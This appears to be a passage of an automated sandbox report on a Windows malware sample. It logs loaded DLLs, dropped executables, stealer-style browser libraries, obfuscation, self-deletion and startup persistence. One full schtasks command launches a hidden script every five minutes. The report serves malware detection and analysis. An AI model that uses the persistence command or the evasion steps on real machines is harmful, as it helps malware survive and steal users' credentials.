Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: version.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: version.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: h8jGj6Qe78.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: mozglue.pdbP source: svchost015.exe, 0000001D.00000002.2675141656.000000006C8AD000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.29.dr, mozglue.dll.29.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.29.dr
Source: Binary string: freebl3.pdbp source: freebl3.dll.29.dr
Source: Binary string: nss3.pdb@ source: svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr
Source: Binary string: RegAsm.pdb source: RegAsm.exe, 0000001F.00000000.3039162333.0000000000272000.00000002.00000001.01000000.00000010.sdmp, RegAsm.exe.17.dr
Source: Binary string: softokn3.pdb@ source: softokn3.dll.29.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.29.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.29.dr, msvcp140[1].dll.29.dr
Source: Binary string: RegAsm.pdb4 source: RegAsm.exe, 0000001F.00000000.3039162333.0000000000272000.00000002.00000001.01000000.00000010.sdmp, RegAsm.exe.17.dr
Source: Binary string: nss3.pdb source: svchost015.exe, 0000001D.00000002.2679610884.000000006CA6F000.00000002.00000001.01000000.0000000E.sdmp, nss3.dll.29.dr, nss3[1].dll.29.dr
Source: Binary string: mozglue.pdb source: svchost015.exe, 0000001D.00000002.2675141656.000000006C8AD000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.29.dr, mozglue.dll.29.dr
Source: Binary string: softokn3.pdb source: softokn3.dll.29.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Unpacked PE file: 0.2.h8jGj6Qe78.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\ewggbbh Unpacked PE file: 3.2.ewggbbh.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_00406312 GetModuleHandleA,LoadLibraryA,GetProcAddress, 7_2_00406312
PE file contains an invalid checksum
Source: 329C.exe.1.dr Static PE information: real checksum: 0x1c6b06 should be: 0x1c22fb
PE file contains sections with non-standard names
Source: freebl3.dll.29.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.29.dr Static PE information: section name: .00cfg
Source: mozglue.dll.29.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.29.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.29.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.29.dr Static PE information: section name: .didat
Source: nss3.dll.29.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.29.dr Static PE information: section name: .00cfg
Source: softokn3.dll.29.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.29.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00403245 push eax; ret 0_2_00403276
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00403265 push eax; ret 0_2_00403276
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401C0A pushad ; iretd 0_2_00401C5C
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0040321E push eax; ret 0_2_00403276
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401C23 pushad ; iretd 0_2_00401C5C
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401C27 pushad ; iretd 0_2_00401C5C
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00403235 push eax; ret 0_2_00403276
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401BF2 pushad ; iretd 0_2_00401C5C
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401BF3 pushad ; iretd 0_2_00401C5C
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401BFE pushad ; iretd 0_2_00401C5C
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00403285 push eax; ret 0_2_00403276
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_004010A9 push 1A43E3D0h; retf 0_2_004010B3
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841C8E pushad ; iretd 0_2_00841CC3
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841C8A pushad ; iretd 0_2_00841CC3
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841110 push 1A43E3D0h; retf 0_2_0084111A
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841C59 pushad ; iretd 0_2_00841CC3
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841C5A pushad ; iretd 0_2_00841CC3
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841C65 pushad ; iretd 0_2_00841CC3
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841C71 pushad ; iretd 0_2_00841CC3
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089EB9B push eax; ret 0_2_0089EBB2
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089D8A5 pushad ; iretd 0_2_0089D954
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089CECA push 1A43E3D0h; retf 0_2_0089CED4
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089D9D3 push edx; retn 0063h 0_2_0089D9DC
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089E60D push 0CEB7905h; retf 0_2_0089E612
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0089EB63 push eax; ret 0_2_0089EBB2
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00403245 push eax; ret 3_2_00403276
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00403265 push eax; ret 3_2_00403276
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00401C0A pushad ; iretd 3_2_00401C5C
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_0040321E push eax; ret 3_2_00403276
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00401C23 pushad ; iretd 3_2_00401C5C
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00401C27 pushad ; iretd 3_2_00401C5C
Source: h8jGj6Qe78.exe Static PE information: section name: .text entropy: 7.663050428364978
Source: ewggbbh.1.dr Static PE information: section name: .text entropy: 7.663050428364978

Persistence and Installation Behavior
barindex
Drops PE files with a suspicious file extension
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif File created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Jump to dropped file
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe File created: C:\Users\user\AppData\Local\Temp\svchost015.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\ewggbbh Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif File created: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\329C.exe Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\795933\Burn.pif Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795933\Burn.pif File created: C:\Users\user\AppData\Local\Temp\795933\RegAsm.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\DFA6.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\ewggbbh Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Cheese" /tr "wscript //B 'C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js'" /sc minute /mo 5 /F
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftServe.url
Stores files to the Windows start menu directory
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftServe.url

Hooking and other Techniques for Hiding and Protection
barindex
Deletes itself after installation
Source: C:\Windows\explorer.exe File deleted: c:\users\user\desktop\h8jgj6qe78.exe Jump to behavior
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\ewggbbh:Zone.Identifier read attributes | delete Jump to behavior
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00EA59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 25_2_00EA59B3
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E35EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 25_2_00E35EDA
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E433B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 25_2_00E433B7
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\329C.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
